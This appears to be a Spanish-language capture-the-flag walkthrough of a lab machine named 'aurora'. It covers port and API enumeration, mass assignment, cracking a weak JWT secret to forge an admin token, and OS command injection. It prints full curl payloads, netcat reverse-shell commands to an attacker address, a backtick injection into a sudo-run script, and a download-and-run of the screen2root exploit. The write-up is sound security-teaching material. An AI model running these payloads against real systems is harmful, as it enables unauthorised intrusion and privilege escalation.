Enumeración de servicios
Comenzamos con un escaneo de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.31
❯ nmap -sCV -p22,3000 -oN 02-targeted.txt 192.168.1.31
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-03 22:49 -03
Nmap scan report for 192.168.1.31
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 db:f9:46:e5:20:81:6c:ee:c7:25:08:ab:22:51:36:6c (RSA)
| 256 33:c0:95:64:29:47:23:dd:86:4e:e6:b8:07:33:67:ad (ECDSA)
|_ 256 be:aa:6d:42:43:dd:7d:d4:0e:0d:74:78:c1:89:a1:36 (ED25519)
3000/tcp open http Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 secondsEnumeramos la API (con peticiones POST):
❯ gobuster dir -u http://192.168.1.31:3000/ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -m POST -r
...
/login (Status: 401) [Size: 22]
/register (Status: 400) [Size: 29]
/Login (Status: 401) [Size: 22]
/Register (Status: 400) [Size: 29]
/execute (Status: 401) [Size: 12]
/LogIn (Status: 401) [Size: 22]
/LOGIN (Status: 401) [Size: 22]
...Registro, JWT débil y acceso administrativo
Fuzzeamos los campos JSON de /register y vemos que acepta un atributo role, lo que indica Mass Assignment. El servidor enlaza propiedades aportadas por el cliente con el modelo de usuario sin aplicar una lista explícita de campos permitidos. Que admin devuelva 401 no concede todavía privilegios, pero confirma que role participa en la lógica de autorización:
❯ ffuf -u http://192.168.1.31:3000/register -X POST -H "Content-Type: application/json" -d '{"role":"FUZZ"}' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/api/objects-lowercase.txt
...
admin [Status: 401, Size: 16, Words: 3, Lines: 1, Duration: 31ms]
user [Status: 500, Size: 32, Words: 5, Lines: 1, Duration: 52ms]
...Registramos un usuario y obtenemos un JWT al iniciar sesión:
❯ curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"role":"user"}'
Column 'username' cannot be null
❯ curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"username":"admin","role":"user"}'
Username already exists
❯ curl -X POST http://192.168.1.31:3000/register -H "Content-Type: application/json" -d '{"username":"pwned","password":"1234","role":"user"}'
Registration OK
❯ curl -X POST http://192.168.1.31:3000/login -H "Content-Type: application/json" -d '{"username":"pwned","password":"1234","role":"user"}'
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InB3bmVkIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDk1MTk5MzR9.qYFPMbLujQYh1d24oYjTwmwwYPXM_jJdAdSDCq6GPmI"}El JWT usa HS256, un algoritmo simétrico: el servidor firma y verifica con el mismo secreto. El contenido del token puede leerse sin conocer esa clave, pero modificar role invalida la firma. Como existe un Weak JWT Secret, probamos candidatos fuera de línea con John hasta recuperar la clave de firma:
❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt jwt_hash
...
nopassword (?)
...Con el secreto nopassword generamos en jwt.io un token con role: admin. La aplicación acepta el token porque la nueva firma es criptográficamente válida, aunque el servidor nunca haya asignado ese rol a nuestra cuenta:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M// renderizando diagrama…
Fuzzeamos el campo del endpoint /execute y damos con command:
❯ ffuf -u http://192.168.1.31:3000/execute -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"FUZZ":"id"}' -w ~/Documentos/wordlists/rockyou.txt -fs 913
...
command [Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 134ms]
...Ejecución remota mediante OS Command Injection
El endpoint entrega el valor de command a un intérprete del sistema, por lo que presenta una OS Command Injection. El JWT falsificado supera el control de acceso, pero la ejecución ocurre por una segunda debilidad independiente. Confirmamos RCE con id y después lanzamos una reverse shell:
❯ curl -X POST http://192.168.1.31:3000/execute -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"command":"id"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
❯ curl -X POST http://192.168.1.31:3000/execute -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5NTE5OTM0fQ.47U7LpOez6J-dRTZPlGWAcz3ZwUTj0K6lAqQFthPK9M" -d '{"command":"nc 192.168.1.10 1234 -e /bin/bash"}'Movimiento lateral a doro
Para movernos al usuario doro, revisamos sudo -l:
www-data@aurora:/home/doro$ sudo -l
Matching Defaults entries for www-data on aurora:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on aurora:
(doro) NOPASSWD: /usr/bin/python3 /home/doro/tools.py *El script tools.py sanitiza algunos símbolos, pero construye una orden de shell y conserva las comillas invertidas. En la shell, `orden` realiza Command Substitution: ejecuta orden y sustituye la expresión por su salida antes de procesar la orden exterior. Como Python corre mediante sudo -u doro, el proceso creado hereda la identidad de doro. Inyectamos una reverse shell por esa vía:
www-data@aurora:/tmp$ sudo -u doro python3 /home/doro/tools.py --ping
Enter an IP address: `nc 192.168.1.10 4321 -e /bin/bash`Escalada de privilegios
Obtenemos una shell como doro y la primera flag. Para escalar, buscamos binarios SUID:
doro@aurora:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/screen
...screen con SUID permite un SUID Binary Abuse. El exploit screen2root abusa de la capacidad del binario privilegiado para crear o cargar artefactos controlados y ejecutar código con el EUID de su propietario:
doro@aurora:/tmp$ wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/screen2root/screenroot.sh
doro@aurora:/tmp$ chmod +x screenroot.sh
doro@aurora:/tmp$ ./screenroot.sh
...
[+] done!
...Obtenemos una shell de root y capturamos la flag.
Fin.